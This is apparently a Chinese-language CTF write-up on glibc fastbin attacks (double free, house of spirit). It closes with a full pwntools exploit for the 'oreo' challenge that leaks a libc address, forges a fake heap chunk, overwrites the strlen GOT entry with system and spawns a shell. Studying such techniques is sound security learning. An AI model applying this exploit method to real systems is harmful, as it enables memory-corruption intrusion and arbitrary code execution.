fastbinattack
fastbinattack主要分为四种,先说两种,一个是double free,一个是今天主要学习的,house of spirit。说攻击手法之前必须先明白free的流程:
先检查size位是否为2*size_sz对齐,同时大于等于minisize,不是的话直接退出
如果size处于fastbin的范围内,并获取其nextchunk的值,其下一个chunk的大小需要正常
将其插入fastbin表头下一个,这里就会检查是否连续free了两个chunk
如果不处于fastbin范围内,就会先通过free的chunk的in_use位来判断上一个chunk是否为空闲状态,如果是,向前合并
通过下下个chunk的in_use位来判断下一个chunk是否为空闲状态,如果是,向后合并,如果不是将下一个chunk的in_use位变为0(topchunk除外)
插入unsortedbin中,在插入之前确定其呈环状
double free
这里可以很清楚的从第三步看出有漏洞,如果不是连续free两个相同的chunk呢,而是在中间free一个其他的chunk,就会出现:
fastbin-->chunk1-->chunk2<--chunk1
这个时候如果我malloc了chunk1然后在里面填写内容呢,就会出现可以在某处其他地方malloc堆的漏洞,这就是doublefree。
适用情况:1.有edit函数编辑堆内部内容
house of spirit
而house of spirit则会复杂一点,就是伪造一个堆块,然后想方法将其free掉,然后再malloc回来,就可以实现某地址写入的功能了,但是限制也多:
首先你需要有地址可以伪造堆块
然后你还需要找方法使其free掉
具体操作见以下题目
oreo

例行检查保护,现在看还是有两种方式打,一种是改got表,另一种是malloc_hook。
等于1:

这个函数就是创建一个如下结构的堆(偷别的师傅的图):

等于2:

这个是每一个堆的内容都输出
等于3:

这个是free最新的一个堆
等于4:

在0x804a2a8内存的地址写入数据
等于5:

输出那段数据
因为发现只能malloc固定大小的堆,所以只能利用更改got表来实现。那么首先就是需要leak,怎么leak呢,可以发现有一个溢出的漏洞,同时也可以发现将堆的最后4个字节改成某got表的地址,就可以利用show函数打印出got表内的地址,即真实地址。

这样就可以输出其中地址
payload = 'a' * 27 + p32(0x804a248)
gdb.attach(p)
pause()
allocate(payload ,'a')
show()
p.recvuntil("Description: ")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
print("puts_got:",hex(puts_addr))
libc = puts_addr - puts_offset
system = libc + system_offset
bin_sh_addr = libc + bin_sh_offset
这样system和"/bin/sh"的地址都出来了。接下来需要思考的是怎么改got表,因为我们发现edit函数是向某个位置写入,那我们就可以控制0x804a2a8内的地址为某got表地址,就可以写入了。怎么控制呢,house of spirit,因为我们可以通过增加堆数量来控制dword_804A2A4的值,可以将其视为堆的size位。同时我们也可以通过edit函数来伪造出下一个堆块。
伪造堆块的时候要注意:
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
我们看一下构造的地方,就是0x804A2A4 - 4为其prev的位置。刚好对齐,还要注意的是0x804a2a4+52开始,必须为0,防止delete函数中free的错误。之后就是必须有一个nextchunk。
for i in range(0x3f):
allocate('a','a')
payload = 'a' * 27 + p32(0x804a2a8)
#gdb.attach(p)
#pause()
allocate(payload , 'a')
payload = '\x00' * 0x24 + p32(0x21)
edit(payload)
#gdb.attach(p)
#pause()
delete()
这样就使0x3f个堆块的最后四个位置填上了0x804a2a8,free的时候就会顺带将fakechunk给free掉。
allocate('a',p32(elf.got['strlen']))
edit(p32(system)+";/bin/sh\x00")
p.interactive()
接下来就是老套路,改一下got表,然后注意一下因为edit函数调用了strlen,就可以直接用上述方法得到shell。
exp:
from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/oreo' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/oreo' )
puts_offset = 0x5fcb0
system_offset = 0x3adb0
bin_sh_offset = 0x15BB2B
def allocate(content1,content2):
p.sendline("1")
p.sendline(content1)
p.sendline(content2)
def show():
p.sendlineafter("!","2")
def delete():
p.sendline("3")
def edit(content):
p.sendline("4")
p.sendline(content)
#leak
payload = 'a' * 27 + p32(0x804a248)
gdb.attach(p)
pause()
allocate(payload ,'a')
show()
p.recvuntil("Description: ")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
print("puts_got:",hex(puts_addr))
libc = puts_addr - puts_offset
system = libc + system_offset
bin_sh_addr = libc + bin_sh_offset
#change got
for i in range(0x3f):
allocate('a','a')
payload = 'a' * 27 + p32(0x804a2a8)
#gdb.attach(p)
#pause()
allocate(payload , 'a')
payload = '\x00' * 0x24 + p32(0x21)
edit(payload)
#gdb.attach(p)
#pause()
delete()
allocate('a',p32(elf.got['strlen']))
#get shell
edit(p32(system)+";/bin/sh\x00")
p.interactive()